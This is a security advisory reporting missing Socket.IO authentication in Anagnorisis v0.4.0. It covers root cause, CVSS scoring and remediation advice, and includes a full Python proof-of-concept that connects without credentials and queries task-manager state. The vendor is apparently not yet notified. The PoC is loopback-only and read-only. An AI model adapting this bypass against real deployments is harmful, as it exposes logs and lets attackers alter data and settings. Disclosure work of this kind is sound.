Missing Authentication on Socket.IO Events in Anagnorisis v0.4.0
Missing Authentication on Socket.IO Events in Anagnorisis v0.4.0#
Author: hiro
Affected versions: Anagnorisis v0.3.1 through v0.4.0 (source-confirmed); Anagnorisis v0.4.0 (dynamically reproduced)
Vendor: volotat GitHub Profile
Product: Anagnorisis
Affected file: app.py
Tested commit: acce76065cd4cecf6eaed5bee8691e95c85964d4
Description#
Anagnorisis supports HTTP Basic Authentication when both
ANAGNORISIS_USERNAME and ANAGNORISIS_PASSWORD are configured. The
authentication requirement is installed as a Flask before_request hook in
app.py. It protects ordinary Flask routes, but it is not enforced during the
Socket.IO connection handshake or before Socket.IO event handlers execute.
The connect handler accepts a client without credentials and immediately
sends log and module-status information. The same client can invoke application
events, including task-manager, database-import, configuration, media-library
and model-training operations.
The issue is independently exploitable without path traversal or a malicious
web Origin. cors_allowed_origins="*" increases browser reachability and is
therefore recorded as a secondary hardening issue, not reported as a separate
vulnerability.
Security Impact#
An unauthenticated network client can cross a security boundary which the operator explicitly enabled and invoke functionality intended for the authenticated application user. Depending on enabled modules and process permissions, this exposes application logs and state and permits operations that modify the database, media-library state, configuration and background tasks.
The supplied PoC performs only a read-only task-manager state query.
Preconditions#
The Anagnorisis Socket.IO endpoint is reachable by the attacker.
HTTP Basic Authentication is configured. This is necessary to demonstrate the intended boundary and its inconsistent enforcement.
No valid application credentials are required by the attacker.
Classification and Severity#
Primary weakness:
CWE-306— Missing Authentication for Critical FunctionSecondary hardening issue:
CWE-942— Permissive Cross-domain Policy with Untrusted DomainsSuggested CVSS v3.1:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H— 9.8 Critical
The score reflects the set of security-sensitive events exposed by the missing boundary, not merely the read-only event used by the safe PoC. An assessor who scores only the demonstrated state disclosure should lower the impact metrics.
Proof of Concept#
Safety#
The PoC refuses non-loopback targets, sends no credentials, changes no files or
database records and invokes only task_manager_get_state.
Environment#
Use an isolated checkout and the product's Docker deployment:
git clone https://github.com/volotat/Anagnorisis.git
Set-Location .\Anagnorisis
git checkout v0.4.0
Copy-Item .\docker-compose.override.example.yaml .\docker-compose.override.yaml
Configure synthetic media and project-data directories in
docker-compose.override.yaml. Keep the loopback port binding and enable Basic
Authentication:
services:
anagnorisis:
ports:
- "127.0.0.1:5001:5001"
environment:
- ANAGNORISIS_USERNAME=lab-user
- ANAGNORISIS_PASSWORD=lab-password
Start the application:
docker compose up -d --build
Save the complete source from the next section as
poc_socket_auth_bypass.py, then run it from a separate client environment:
python -m venv .poc-venv
.\.poc-venv\Scripts\python.exe -m pip install requests python-socketio
.\.poc-venv\Scripts\python.exe .\poc_socket_auth_bypass.py `
--target http://127.0.0.1:5001
Expected vulnerable result:
{
"http_without_credentials": 401,
"socket_connected_without_credentials": true,
"socket_origin": "http://127.0.0.1:5001",
"status": "CONFIRMED",
"target": "http://127.0.0.1:5001",
"task_manager_state_keys": [
"active",
"history",
"queued",
"schedulers"
],
"task_manager_state_returned": true
}
The 401 negative control proves that Basic Authentication is active. The
subsequent successful Socket.IO call proves that the same security boundary is
not applied to Socket.IO.
Complete PoC Source#
#!/usr/bin/env python3
"""Loopback-only PoC for Anagnorisis v0.4.0 Socket.IO auth bypass."""
from __future__ import annotations
import argparse
import json
from urllib.parse import urlparse
import requests
import socketio
LOOPBACK_HOSTS = {"127.0.0.1", "::1", "localhost"}
def loopback_url(value: str) -> str:
parsed = urlparse(value)
if parsed.scheme not in {"http", "https"} or parsed.hostname not in LOOPBACK_HOSTS:
raise argparse.ArgumentTypeError("target must be an HTTP(S) loopback URL")
return value.rstrip("/")
def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("--target", required=True, type=loopback_url)
parser.add_argument("--timeout", default=8.0, type=float)
args = parser.parse_args()
parsed = urlparse(args.target)
same_origin = f"{parsed.scheme}://{parsed.netloc}"
http_response = requests.get(args.target + "/", timeout=args.timeout)
client = socketio.Client(
reconnection=False,
logger=False,
engineio_logger=False,
request_timeout=args.timeout,
)
result: dict[str, object] = {
"target": args.target,
"http_without_credentials": http_response.status_code,
"socket_origin": same_origin,
"socket_connected_without_credentials": False,
"task_manager_state_returned": False,
}
try:
client.connect(
args.target,
headers={"Origin": same_origin},
transports=["polling"],
wait_timeout=args.timeout,
)
result["socket_connected_without_credentials"] = client.connected
state = client.call(
"task_manager_get_state",
{},
timeout=args.timeout,
)
result["task_manager_state_returned"] = isinstance(state, dict)
result["task_manager_state_keys"] = sorted(state) if isinstance(state, dict) else []
finally:
if client.connected:
client.disconnect()
confirmed = (
result["http_without_credentials"] == 401
and result["socket_connected_without_credentials"] is True
and result["task_manager_state_returned"] is True
)
result["status"] = "CONFIRMED" if confirmed else "NOT_CONFIRMED"
print(json.dumps(result, indent=2, sort_keys=True))
if not confirmed:
raise SystemExit(2)
if __name__ == "__main__":
main()
Root Cause#
Flask's before_request lifecycle is not an authorization layer for
Socket.IO events. The application assumes that protecting Flask views also
protects the persistent event channel:
@app.before_request
@auth_decorator
def before_request_auth():
pass
socketio = SocketIO(app, cors_allowed_origins="*", path="/socket.io")
@socketio.on("connect")
def handle_connect():
log_streamer.send_log_history()
No authentication check is made in handle_connect, and no event-level
authorization wrapper is applied.
Recommended Remediation#
Authenticate the Socket.IO handshake and return
Falsefor invalid or absent credentials.Apply centralized authorization to every security-sensitive event instead of relying only on the connection handler.
Remove the wildcard Origin policy or replace it with an explicit allowlist.
Add integration tests asserting identical access decisions for HTTP and Socket.IO when Basic Authentication is enabled.
Avoid broadcasting private state to all connected clients.
Fix Verification#
A local proposal added Socket.IO handshake authentication, restricted Origins and retained ordinary authenticated functionality. The original application accepted the unauthenticated PoC; the patched application rejected it. This is a local validation result, not an upstream fix or fixed release.
Duplicate and Disclosure Status#
GitHub Security Advisories, public issues, NVD, CVE/GHSA, VulDB and exact event names were checked on 2026-07-28. No public same-project report was found. This does not exclude private reports or reserved identifiers.
The vendor has not been contacted, no advisory has been published, no VulDB entry has been submitted and no CVE has been requested.